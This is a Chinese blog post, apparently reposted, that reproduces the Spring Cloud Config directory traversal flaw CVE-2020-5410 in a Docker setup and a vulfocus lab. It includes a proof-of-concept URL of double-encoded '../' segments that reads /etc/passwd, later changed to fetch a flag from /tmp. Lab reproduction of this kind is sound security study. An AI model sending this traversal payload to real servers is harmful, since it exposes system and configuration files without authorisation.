Spring Cloud Config 目錄穿越漏洞(CVE-2020-5410)復現
文章目錄
- Spring Cloud Config 目錄穿越漏洞(CVE-2020-5410)復現
- 漏洞介紹
- 影響版本
- 環境搭建
- vulfocus復現
漏洞介紹
Spring Cloud Config,2.2.3之前的2.2.x版本,2.1.9之前的2.1.x版本以及較舊的不受支持的版本允許應用程式通過spring-cloud-config-server模塊提供任意組態檔,惡意用戶或攻擊者可以使用特制URL發送請求,這可能導致目錄遍歷攻擊
影響版本
Spring Cloud Config: 2.2.0 to 2.2.2
Spring Cloud Config: 2.1.0 to 2.1.8
環境搭建
打開vulhub發現沒有這個鏡像,這邊手動搭建,版本v2.2.2
docker環境部署:
docker pull hyness/spring-cloud-config-server:2.1.6.RELEASE
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-07COVBIT-1628391524375)(https://i.loli.net/2021/08/08/oJQTsiV84Mw36yY.png)]
再分別運行這三步
docker run -it --name=spring-cloud-config-server \
-p 8888:8888 \
hyness/spring-cloud-config-server:2.1.6.RELEASE \
–spring.cloud.config.server.git.uri=https://github.com/spring-cloud-samples/config-repo

然后訪問自己地址的8888埠,我這里是192.168.89.130:8888,成功打開

這里的漏洞是get請求,這里直接用hackbar演示
poc:
..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development
但是這里失敗了沒東西出了,可能是檔案目錄搞錯了,其實這里…%252F就是相當于…/ 上面要讀取的就是etc/passwd
vulfocus復現

轉到這里,找flag,在tmp目錄下直接呈現,對應的只需要讀取tmp,passwd部分的目錄直接刪去就可以了

參考:
https://xz.aliyun.com/t/7877
https://blog.csdn.net/qq_37602797/article/details/113886722
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/292640.html
標籤:其他
上一篇:Json注入
下一篇:學習歷程
